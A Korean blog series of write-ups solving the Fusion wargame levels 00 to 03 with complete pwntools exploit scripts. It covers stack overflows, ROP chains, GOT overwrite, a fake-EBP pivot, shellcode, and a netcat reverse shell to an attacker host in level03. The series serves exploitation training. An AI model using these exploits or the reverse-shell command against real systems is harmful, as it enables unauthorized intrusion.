wargame/exploit exercise - fusion

wargame - fusion / level03

2017. 2. 27. 11:37


LEVEL03


level03 이다. 적용된 기법은 아래와 같이 NX 정도이다.




>>> print e.checksec()

RELRO:    No RELRO

Stack:    No canary found

NX:       NX enabled

PIE:      No PIE

RPATH:    '/opt/fusion/lib'

FORTIFY:  Enabled




소스코드를 보면 아래와 같이 토큰을 하나 생성해서 보내고, 입력값을 받는데 이때 토큰값을 검증한다. 그 후에 입력된 주소로 해당 내용을 전송해 준다. 





입력값을 받을 때 한가지 특징으로 한번 입력 후 곧바로 close(0,1,2) 를 해주고 있어서 write(4, leak주소, 4) 이런 식의 payload 사용은 어려움. 소켓이 닫혀버리니까





또 한가지 특징으로 입력값 검증을 하는데, 첫번째로 token 이 가장 앞에 있는지 확인한다.


두번째로 해쉬값을 비교하여 처음 두 바이트가 0x00 인지 확인한다. 





검증이 끝난 후 json 형식을 파싱해주는 과정에서 취약점이 발생하는데, 해당 부분은 아래 코드이다. 


결론부터 말하면 while 구문 내부의 조건식이 



1) src 가 널바이트가 아니고

 

           &&


2) dest 가 end 랑 다르면



이기 때문이다. 즉 둘중 하나의 조건만 만족하지 않으면 계속 복사를 하게 된다는 뜻이다. 


소스를 보면 "\\u" 가 있으면 dest 를 case '\\' 문에서 한번 증가시키고, 'u' 에서 또 증가시키면서


dest 와 end 가 계속 달라지게 된다. 이로 인해 src 가 널바이트가 될 때까지 계속 복사를 하게 되고


실질적으로 strcpy 처럼 스택을 덮어쓰게 된다.  







먼저 validate 함수를 우회하기 위하여 공격 payload 에 임의의 숫자값을 for 문으로 돌려서 0x00, 0x00 이 나오는 해쉬값을 찾도록 해준다.


def find_collision(token, payload):
	i = 0
	while 1:	
		json_req = token + '\n' + '{"c":%d,"title":"%s","contents":"%s","serverip":"192.168.231.1:7777","tags":["tag1","tag2"]}' % (i, payload, REVERSE_NC)
		tmp_hmac = hmac.new(token,json_req,hashlib.sha1).digest()
		if tmp_hmac[0:2] == "\x00"*2:
			log.success("found collision request : %s" % json_req)
			return json_req
			break
		i += 1




다음은 eip 변조 테스트.



buf = "A"*127 + "\\\\ua" + "A"*34 + "BBBB"   # 34 + eip


req_col = find_collision(token, buf)

r.send(req_col)


gdb$ 
--------------------------------------------------------------------------[regs]
  EAX: 0xFFFFFFFF  EBX: 0x41414141  ECX: 0xB7562398  EDX: 0xFFFFFFFF  o d I t S z a P c 
  ESI: 0x41414141  EDI: 0x41414141  EBP: 0x41414141  ESP: 0xBFDAB66C  EIP: 0x08049E08
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
[0x007B:0xBFDAB66C]------------------------------------------------------[stack]
0xBFDAB6BC : 10 00 00 00 F4 0F 56 B7 - 55 BC 41 B7 19 A2 04 08 ......V.U.A.....
0xBFDAB6AC : 02 00 4E 23 00 00 00 00 - 00 00 00 00 00 00 00 00 ..N#............
0xBFDAB69C : 02 00 FF C4 C0 A8 E7 01 - 00 00 00 00 00 00 00 00 ................
0xBFDAB68C : 0B 90 04 08 0D 00 00 00 - 01 00 00 00 FF FF FF FF ................
0xBFDAB67C : 00 00 00 00 04 00 00 00 - 98 B6 DA BF 02 00 00 00 ................
0xBFDAB66C : 42 42 42 42 04 00 00 00 - 00 00 00 00 02 00 00 00 BBBB............
--------------------------------------------------------------------------[code]
=> 0x8049e08 <handle_request+264>:	ret    
   0x8049e09 <handle_request+265>:	lea    esi,[esi+eiz*1+0x0]
   0x8049e10 <handle_request+272>:	mov    DWORD PTR [esp+0x4ac],0x80
   0x8049e1b <handle_request+283>:	mov    DWORD PTR [esp],ebx
   0x8049e1e <handle_request+286>:	call   0x8048da0 <json_object_get_string@plt>
   0x8049e23 <handle_request+291>:	lea    edx,[esp+0x4ac]
   0x8049e2a <handle_request+298>:	mov    DWORD PTR [esp+0x8],edx
   0x8049e2e <handle_request+302>:	lea    edx,[esp+0x42c]
--------------------------------------------------------------------------------
0x08049e08 in handle_request () at level03/level03.c:193
193	in level03/level03.c
gdb$ 
--------------------------------------------------------------------------[regs]
  EAX: 0xFFFFFFFF  EBX: 0x41414141  ECX: 0xB7562398  EDX: 0xFFFFFFFF  o d I t S z a P c 
  ESI: 0x41414141  EDI: 0x41414141  EBP: 0x41414141  ESP: 0xBFDAB670  EIP: 0x42424242
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007BError while running hook_stop:
Cannot access memory at address 0x42424242
0x42424242 in ?? ()


정확하게 0x42424242 로 변조가 되는 것을 확인했다. 이제 ROP 를 하면 되는데.. 널바이트가 들어가면 안되기 때문에 pwntools 를


이용한 rop 는 조금 제약이 있었다. 






여러번 삽질 후 세운 payload 는 아래와 같다.



1) srand got 를 system 함수 주소로 변경(got overwrite, return to plt)


2) memcpy 로 bss 에 system 인자값 쓰기

 

    memcpy(bss+4,gContents,4)        // gContents = 0x804bdf4 => 0x900e5c8 (이중포인터)


3) srand plt(system) 호출


    srand@plt(bss+8)    // reverse nc command



은 실패했다. 




실패한 이유는 gContents 가 이중포인터라 실패.. mov 로 값을 꺼내주려고 하니 마땅한 가젯이 없음.. 




아래와 같이 leave ret 를 이용한 fake ebp 를 이용하여 공격에 성공했다. stack frame 을 bss 에 다시 구성해주고,


leave 명령을 이용하여 ebp 를 bss 로 변경해준다. 그리고 system 함수로 return 하여 reverse connection 실행!




1) srand got 를 system 함수 주소로 변경(got overwrite, return to plt)


2) memcpy 로 bss 에 srand@plt, command 쓰기

 

    memcpy(bss, srand@plt,4)             

    memcpy(bss+8, gContents, len(cmd))    


3) leave 를 이용하여 fake ebp


    ebp 를 미리 조작하고, leave 명령을 이용하여 esp 를 변경, 미리 복사한 bss 영역으로 stack frame 변조


4) srand plt(system) 호출


    srand@plt(bss+8)    // reverse nc command





아래는 전체 exploit 코드이다. pwntools 를 쓰기 위해 노력했으나(pwntools 연습중이니..) 이번 문제의 경우 수작업 rop


가 필요하여 생각보다 활용도가 낮았다. 다만 e.bss(), e.plt[], e.got[], e.symbols[] 등은 유용했다.


#!/usr/bin/python import hmac import hashlib import json from pwn import * context(arch='i386',os='linux') r = remote("192.168.231.128",20003) e = ELF('../bin/level03') rop = ROP(e) s = ssh(host="192.168.231.128",user="fusion",port=22,password="godmode"


REVERSE_NC = "nc.traditional -e /bin/sh 192.168.231.1 7777"

def find_collision(token, payload): i = 0 while 1: json_req = token + '\n' + '{"c":%d,"title":"%s","contents":"%s","serverip":"192.168.231.1:7777","tags":["tag1","tag2"]}' % (i, payload, REVERSE_NC) tmp_hmac = hmac.new(token,json_req,hashlib.sha1).digest() if tmp_hmac[0:2] == "\x00"*2: log.success("found collision request : %s" % json_req) return json_req break i += 1 log.info("fusion level03 exploit by hyunmini") token = r.recv(1024).strip().strip('"') log.info("get token : %s" % token) # exploit condition # eip control breakpoint : 0x8049e04 <handle_request+260>: # control reg : ebx, esi, edi, ebp buf = "A"*127 + "\\\\ua" + "A"*34 # 34 + eip # srand got =+ system offset (0x9b60) => srand@plt = system() rop = p32(0x08049b4f) # pop eax ; add esp, 0x5c ; ret // eax = 0x9b60 rop += '\\\u609b\\\u0000' rop += "A"*0x5c rop += p32(0x08049a4f) # pop ebx ; ret // ebx rop += p32(e.got['srand'] - 0x5d5b04c4 & 0xffffffff) rop += p32(0x080493fe) # add dword ptr [ebx + 0x5d5b04c4], eax ; ret) # memcpy(bss+4, srand@plt, 4) rop += p32(e.plt['memcpy']) rop += p32(0x8049205) # pppr rop += p32(e.bss()) rop += p32(e.got['srand']) rop += '\\\u0400\\\u0000' # memcpy(bss+8, gContents, len(cmd)) rop += p32(e.plt['memcpy']) rop += p32(0x8049205) # pppr rop += p32(e.bss(8)) rop += p32(e.symbols['gContents']) rop += '\\\u0400\\\u0000' # fake ebp rop += p32(0x8049205) # pppr rop += p32(e.bss()-4) * 3 rop += p32(0x8049431) # leave, ret payload = buf + rop req_col = find_collision(token, payload) r.send(req_col)





# ./ex3_exploit.py     // exploit 성공



hyunmini:solve $ nc -lv 7777

id

uid=20003 gid=20003 groups=20003

uname -a

Linux fusion 3.0.0-13-generic-pae #22-Ubuntu SMP Wed Nov 2 15:17:35 UTC 2011 i686 i686 i386 GNU/Linux





'wargame > exploit exercise - fusion' 카테고리의 다른 글

wargame - fusion / level03  (0) 2017.02.27
wargame - fusion / level02  (0) 2016.12.29
wargame - fusion / level01  (0) 2016.12.28
wargame - fusion / level00  (2) 2013.09.23

wargame - fusion / level02

2016. 12. 29. 14:15


LEVEL02






level02 는 NX, ASLR 이 걸려있으며, 기본적인 난독화 및 수학 관련 문제라는 힌트가 주어진다.

NX 때문에 쉘코드를 직접 실행하기는 어려우며, ROP 를 이용해야 한다. 단순히 개인적인 정리용도의 풀이이므로 ROP 등을 정리하지는 않는다.

한줄로 설명하면 고전적인 RTL 기법을 발전시켜서 연속적인 Gadget (Ret 로 끝나는 코드 조각) 들을 실행시키는 기법이다. 최근 문제는 대부분 ROP 가 기본으로 들어가는 경우가 많다.




취약점 확인 


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
void encrypt_file()
{
  // http://thedailywtf.com/Articles/Extensible-XML.aspx
  // maybe make bigger for inevitable xml-in-xml-in-xml ?
  unsigned char buffer[32 * 4096];
 
  unsigned char op;
  size_t sz;
  int loop;
 
  printf("[-- Enterprise configuration file encryption service --]\n");
  
  loop = 1;
  while(loop) {
      nread(0&op, sizeof(op));
      switch(op) {
          case 'E':                           // E 자가 입력되면    
              nread(0&sz, sizeof(sz));        // 입력받을 사이즈 지정
              nread(0, buffer, sz);             // 내용 입력, 취약
              cipher(buffer, sz);               // 입력된 내용 암호화
              printf("[-- encryption complete. please mention "
              "474bd3ad-c65b-47ab-b041-602047ab8792 to support "
              "staff to retrieve your file --]\n");
              nwrite(1&sz, sizeof(sz));       // 암호화 사이즈 출력
              nwrite(1, buffer, sz);            // 암호화 내용 출력
              break;
          case 'Q':
              loop = 0;
              break;
          default:
              exit(EXIT_FAILURE);
      }
  }
      
}
 

c



취약한 부분은 encrypt_file() 내부에서 발생하며, 정확한 지점은 고정된 buffer 에 동적으로 입력값 길이를 정해서 입력받는 아래 부분이다.



nread(0, buffer, sz);



간단히 확인해보면 crash 가 발생하는 것을 확인할 수 있다. 








$ python -c "print 'E'+'\x14\x00\x02\x00'+'A'*0x20010+'B'*4+'Q'" | nc 192.168.231.128 20002


root@fusion:/opt/fusion/bin# dmesg | tail -2

[54915.235279] level02[7797]: segfault at c754dba ip 0c754dba sp bf9d99b0 error 14

[54927.307910] level02[7805]: segfault at 7ab5e3fe ip 7ab5e3fe sp bf9d99b0 error 14







문제는 입력받은 버퍼를 바로 아랫줄에서 cipher(buffer, sz) 와 같이 암호화 하고 있다는 것이나, 함수를 살펴보면 간단하게 XOR 연산을 해주는 것임을 알 수 있다.
key 값이 랜덤이지만, XOR 연산이기 때문에 0 과 XOR 연산을 수행하도록 해서 key 를 확인할 수 있다. 키 버퍼는 128 byte (XORSZ=32, *4) 이다. 첫번째 접속해서 128 바이트만큼 0을 입력해서 값을 받아오고, 키 버퍼를 받아온 후에 두번째 실제 payload 를 xor 해서 보내면 정상값이 들어갈 것이다.


root@fusion:/opt/fusion/bin# dmesg | tail -1
[55235.606684] level02[7847]: segfault at 42424242 ip 42424242 sp bf9d99b0 error 1



이제 간단히 ROP 를 수행하면 된다. 아래는 전체 Exploit 코드이다.
#!/usr/bin/python
from pwn import *
context(arch='i386',os='linux')
print "[*] fusion level01 exploit by hyunmini"
r = remote("192.168.231.128",20002)
e = ELF('./level02')
rop = ROP(e)
print r.recvuntil('--]\n')
op_start = "E"
op_size = "\x80\x00\x00\x00"
op_end = "Q"
payload = "\x00" * 0x80
print "[+] stage 0 : recv xor_key"
r.send(op_start + op_size + payload )
print r.recvuntil('--]\n')
print "eeee"
sleep(0.2)
bufcount = r.recvuntil('\x80\x00\x00\x00')
print "[+] buf count : %d" % u32(bufcount)
xor_buf = r.recv(128)
print hexdump(xor_buf)
def xor(buf, key):
    result = ''
    for i, enc in enumerate(buf):
        result += chr(ord(enc)^ord(key[i % len(key)]))
    print "encoding (%d:%d) bytes" % (len(buf), len(result))
    return result
#-------------------------------------------#
print "[+] sending rop payload..."
payload2 = "A"*0x20010 
# rop chain
cmd = "/bin/sh\x00"
rop.read(0,e.bss(),len(cmd))
rop.execve(e.bss(),0,0) 
ropchain = rop.chain()
payload2 += ropchain 
payload2 = xor(payload2, xor_buf)
op_size = p32(len(payload2))
r.send(op_start)
r.send(op_size)
r.send(payload2)
r.send(op_end)
r.send(cmd)
print "[*] finish !!"
r.interactive()


'wargame > exploit exercise - fusion' 카테고리의 다른 글

wargame - fusion / level03  (0) 2017.02.27
wargame - fusion / level02  (0) 2016.12.29
wargame - fusion / level01  (0) 2016.12.28
wargame - fusion / level00  (2) 2013.09.23

wargame - fusion / level01

2016. 12. 28. 10:28

LEVEL01



level01 은 level00 과 동일한 소스코드이지만 버퍼 주소를 출력해주지 않는다. 취약점 발생지점은 동일하므로 긴 설명이 필요없고,


동일한 공격방식이되 버퍼 주소값을 모를 때 어떻게 해야 하는가를 묻는 문제이다. 


주소를 몰라도 바로 뒤로 점프하는 "trampoline techniques" 으로 불리는 jmp esp 등의 코드를 이용하면 된다.





[그림] 취약 함수




gdb-peda$ b *0x8049854 // 취약함수 ret 주소


gdb-peda$ set follow-fork-mode child // gdb fork() 자식 프로세스 디버깅

gdb-peda$ x/4i $eip-6                      
   0x804984e :	call   0x80489a0 
   0x8049853 :	leave  
=> 0x8049854 :	ret    
   0x8049855 :	push   ebp
gdb-peda$ x/12x $esp       // ret 직전의 스택, payload 가 정상적으로 입력된 것 확인
0xbffff32c:	0x08049f4f	0x16eb9090	0x00000000	0x00000004
0xbffff33c:	0x001761e4	0x001761e4	0x000027d8	0x20544547
0xbffff34c:	0x41414141	0x41414141	0x41414141	0x41414141
gdb-peda$ x/i 0x8049f4f     //  ret 실행 시  jmp esp 주소로 점프 ( ret = pop eip = ret 시점의 esp 주소)
   0x8049f4f:	jmp    esp
gdb-peda$ x/4i 0xbffff32c+4      //  jmp esp 후에 실행될 코드
   0xbffff330:	nop
   0xbffff331:	nop
   0xbffff332:	jmp    0xbffff34a
   0xbffff334:	add    BYTE PTR [eax],al
gdb-peda$ x/4i 0xbffff34a       //  short jump 후 실행될 쉘코드 확인
   0xbffff34a:	push   esp
   0xbffff34b:	and    BYTE PTR [ecx+0x41],al
   0xbffff34e:	inc    ecx
   0xbffff34f:	inc    ecx





익스플로잇 코드


# ex_level01.py


from pwn import *
context(arch='i386',os='linux')
print "[*] fusion level00 exploit by hyunmini"

r = remote("192.168.231.128",20001)
e = ELF('./level01')
rop = ROP(e)

shellcode = asm(shellcraft.dupsh(4))
jmp_esp = p32(e.search(asm("jmp esp")).next())
jmp = "\x90\x90\xeb\x16"
nop = "\x90"*60
payload = "GET " + "A"*139 + jmp_esp + jmp +" HTTP/1.1 " + nop + shellcode
r.send(payload)
print " [+] Success!! got shell"
r.interactive()


실행






'wargame > exploit exercise - fusion' 카테고리의 다른 글

wargame - fusion / level03  (0) 2017.02.27
wargame - fusion / level02  (0) 2016.12.29
wargame - fusion / level01  (0) 2016.12.28
wargame - fusion / level00  (2) 2013.09.23

wargame - fusion / level00

2013. 9. 23. 22:06

Fusion



fusion 은 system wargame 중 하나이며 여러가지 우회 기법을 배울 수 있는 다양한 문제들을 제공한다. 


연습을 위해 pwntools 및 angr 을 사용해서 풀어보기로 한다.






level 00










fusion@fusion:/opt/fusion/bin$ uname -a

Linux fusion 3.0.0-13-generic-pae #22-Ubuntu SMP Wed Nov 2 15:17:35 UTC 2011 i686 i686 i386 GNU/Linux




fork() 를 수행하므로 ASLR 은 무시해도 된다.


소스코드를 분석해 보자.  문제가 되는 부분은 아래 fix_path 함수이다.


3int fix_path(char *path) 4{ 5 char resolved[128]; 6 7 if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open 8 strcpy(path, resolved); 9}


일반적으로 strcpy() 함수를 보고 취약하겠구나 라고 생각하겠지만, realpath() 함수 결과에 따라 NULL 이면 return 


을 해버리고 있으므로 strcpy 는 실행조차 되지 않는다. 하지만 다행히도 realpath 함수 역시 bof 취약성이 존재한다.


해당 함수 내부에서 memcpy 를 호출하기 때문이다. 첫번째 인자값의 문자열을 두번째 인자값에 복사해 준다.


(원래 realpath 함수의 기능은 ../../ 등의 경로를 resolve 후 절대경로로 변환하여 저장 )






풀이



0 레벨이기 때문에 그냥 단순 bof 수준이다. Path 위치에 139 개가 들어가면 버퍼를 모두 덮어쓰고, RET 를 조작할 수 있다.



  • 버퍼주소 : 출력된 버퍼 주소 사용
  • 쉘코드 : asm(shellcraft.dupsh(4))     //  쉘을 실행시키고 dup 로 소켓에 fd 복제



# ex_level00.py

from pwn import *
context(arch='i386',os='linux')
print "[*] fusion level00 exploit by hyunmini"

buffer_addr = p32(0xbff49498+160)
r = remote("192.168.231.128",20000)
print r.recv(1000)

e = ELF('./level00')

shellcode = asm(shellcraft.dupsh(4))
ret = buffer_addr
nop = "\x90"*60
#payload = "GET " + "A"*139 + "B"*4 +" HTTP/1.1 " + shellcode
payload = "GET " + "A"*139 + ret +" HTTP/1.1 " + shellcode
r.send(payload)

print " [+] Success!! got shell"
r.interactive()



hyunmini:fusion $ python ex_level00.py 
[*] fusion level00 exploit by hyunmini
[+] Opening connection to 192.168.231.128 on port 20000: Done
[debug] buffer is at 0xbff49498 :-)

[*] '/Users/hyunmini/Desktop/wargame/fusion/level00'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE
 [+] Success!! got shell
[*] Switching to interactive mode
$ 
$ id
uid=20000 gid=20000 groups=20000






'wargame > exploit exercise - fusion' 카테고리의 다른 글

wargame - fusion / level03  (0) 2017.02.27
wargame - fusion / level02  (0) 2016.12.29
wargame - fusion / level01  (0) 2016.12.28
wargame - fusion / level00  (2) 2013.09.23
  1. 익명 2017.02.04 00:46

    비밀댓글입니다

+ Recent posts